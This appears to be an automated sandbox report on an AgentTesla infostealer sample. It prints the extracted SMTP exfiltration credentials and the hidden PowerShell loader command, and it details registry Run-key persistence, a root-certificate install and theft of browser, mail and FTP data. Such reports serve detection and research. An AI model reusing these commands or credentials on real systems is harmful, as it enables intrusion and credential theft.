Analysis
-
max time kernel
145s -
max time network
140s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 15:41
Static task
static1
Behavioral task
behavioral1
Sample
PI_230524.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
PI_230524.exe
Resource
win10v2004-20240226-en
General
-
Target
PI_230524.exe
-
Size
531KB
-
MD5
fe3bcba4cdc4ae741ee54de500496669
-
SHA1
e27ac7c118efb35b85abf8dc4300a6291737dea2
-
SHA256
86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe
-
SHA512
d337947fcb86f48b30e676b105c584811723dacf16ce3af4cdac70607a239d9b5aaf93b0abd54754cc7801cac7a86fd7da293655d0dcfa4de32147df75ae9ff8
-
SSDEEP
6144:+Y8i9d6ihOq761Mymf40IoBdLlNZ4DYvP+TV5lKiecmMlGvtClbUpEjoltWucv:8K6+L761MymflCYX+EixjlGHu8ltWuq
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.showpiece.trillennium.biz - Port:
587 - Username:
[email protected] - Password:
]2p65r?5jH32 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Loads dropped DLL 2 IoCs
Processes:
powershell.exeAwner.exepid process 2184 powershell.exe 2156 Awner.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\\Altsaxofonists\\').Folkesocialisternes;%Straaets% ($masooka)" reg.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 8 api.ipify.org 9 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
Awner.exepid process 2156 Awner.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exeAwner.exepid process 2184 powershell.exe 2156 Awner.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2184 set thread context of 2156 2184 powershell.exe Awner.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 2 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\Awner.exe nsis_installer_1 \Users\Admin\AppData\Local\Temp\Awner.exe nsis_installer_2 -
Modifies registry key 1 TTPs 1 IoCs
-
Processes:
Awner.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 Awner.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 Awner.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
powershell.exeAwner.exepid process 2184 powershell.exe 2184 powershell.exe 2184 powershell.exe 2184 powershell.exe 2184 powershell.exe 2184 powershell.exe 2184 powershell.exe 2184 powershell.exe 2156 Awner.exe 2156 Awner.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2184 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeAwner.exedescription pid process Token: SeDebugPrivilege 2184 powershell.exe Token: SeDebugPrivilege 2156 Awner.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Awner.exepid process 2156 Awner.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
PI_230524.exepowershell.exeAwner.execmd.exedescription pid process target process PID 2348 wrote to memory of 2184 2348 PI_230524.exe powershell.exe PID 2348 wrote to memory of 2184 2348 PI_230524.exe powershell.exe PID 2348 wrote to memory of 2184 2348 PI_230524.exe powershell.exe PID 2348 wrote to memory of 2184 2348 PI_230524.exe powershell.exe PID 2184 wrote to memory of 772 2184 powershell.exe cmd.exe PID 2184 wrote to memory of 772 2184 powershell.exe cmd.exe PID 2184 wrote to memory of 772 2184 powershell.exe cmd.exe PID 2184 wrote to memory of 772 2184 powershell.exe cmd.exe PID 2184 wrote to memory of 2156 2184 powershell.exe Awner.exe PID 2184 wrote to memory of 2156 2184 powershell.exe Awner.exe PID 2184 wrote to memory of 2156 2184 powershell.exe Awner.exe PID 2184 wrote to memory of 2156 2184 powershell.exe Awner.exe PID 2184 wrote to memory of 2156 2184 powershell.exe Awner.exe PID 2184 wrote to memory of 2156 2184 powershell.exe Awner.exe PID 2156 wrote to memory of 1424 2156 Awner.exe cmd.exe PID 2156 wrote to memory of 1424 2156 Awner.exe cmd.exe PID 2156 wrote to memory of 1424 2156 Awner.exe cmd.exe PID 2156 wrote to memory of 1424 2156 Awner.exe cmd.exe PID 1424 wrote to memory of 2440 1424 cmd.exe reg.exe PID 1424 wrote to memory of 2440 1424 cmd.exe reg.exe PID 1424 wrote to memory of 2440 1424 cmd.exe reg.exe PID 1424 wrote to memory of 2440 1424 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\PI_230524.exe"C:\Users\Admin\AppData\Local\Temp\PI_230524.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Treholdsskiftet=Get-Content 'C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Strapper\Swallowling.Pre';$Skiameter=$Treholdsskiftet.SubString(55621,3);.$Skiameter($Treholdsskiftet)"2⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"3⤵PID:772
-
C:\Users\Admin\AppData\Local\Temp\Awner.exe"C:\Users\Admin\AppData\Local\Temp\Awner.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\Altsaxofonists\').Folkesocialisternes;%Straaets% ($masooka)"4⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\Altsaxofonists\').Folkesocialisternes;%Straaets% ($masooka)"5⤵
- Adds Run key to start application
- Modifies registry key
PID:2440
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
3Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Delfiteknikkens.GriFilesize
297KB
MD56ea9e79b54b8a56cec498b93e929ece2
SHA19481a950ed835695cbb46c6ca48a524f295d4fd2
SHA25630d6aa82f35ba4d346c05e6b6e825201641cf484c4ab8f343a18c32388d53931
SHA512468da5be68dfc29c6a1f53fed2ca8f3671f129a16af5291138d4aff384dba6e7ae8b3bb9e32ee73063d85c370d5f5253a53f2a1e1951320d1cc7eabff8ca358e
-
C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Strapper\Swallowling.PreFilesize
54KB
MD522252e2ecc5fad588b2a1855271240d7
SHA116e3f7b4f36b0804f372e9dc199748eced0be25c
SHA256d82ec244a3f9172ac6eb88f87b46147b085b1ef3cd0b1787cb7029f5eeef74c0
SHA51298ca2f227d5e8e32a098f8c98c432f1693617196ca3dfd81404ff247a8e8254c631cc291965b0a8fb724798c98bc4dc65963d23c81ebbbd7762acb391b4361a0
-
\Users\Admin\AppData\Local\Temp\Awner.exeFilesize
531KB
MD5fe3bcba4cdc4ae741ee54de500496669
SHA1e27ac7c118efb35b85abf8dc4300a6291737dea2
SHA25686d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe
SHA512d337947fcb86f48b30e676b105c584811723dacf16ce3af4cdac70607a239d9b5aaf93b0abd54754cc7801cac7a86fd7da293655d0dcfa4de32147df75ae9ff8
-
memory/2156-40-0x00000000007E0000-0x0000000001842000-memory.dmpFilesize
16.4MB
-
memory/2156-43-0x00000000007E0000-0x0000000000820000-memory.dmpFilesize
256KB
-
memory/2184-19-0x0000000002CA0000-0x0000000002CE0000-memory.dmpFilesize
256KB
-
memory/2184-23-0x0000000006650000-0x000000000820D000-memory.dmpFilesize
27.7MB
-
memory/2184-41-0x0000000002CA0000-0x0000000002CE0000-memory.dmpFilesize
256KB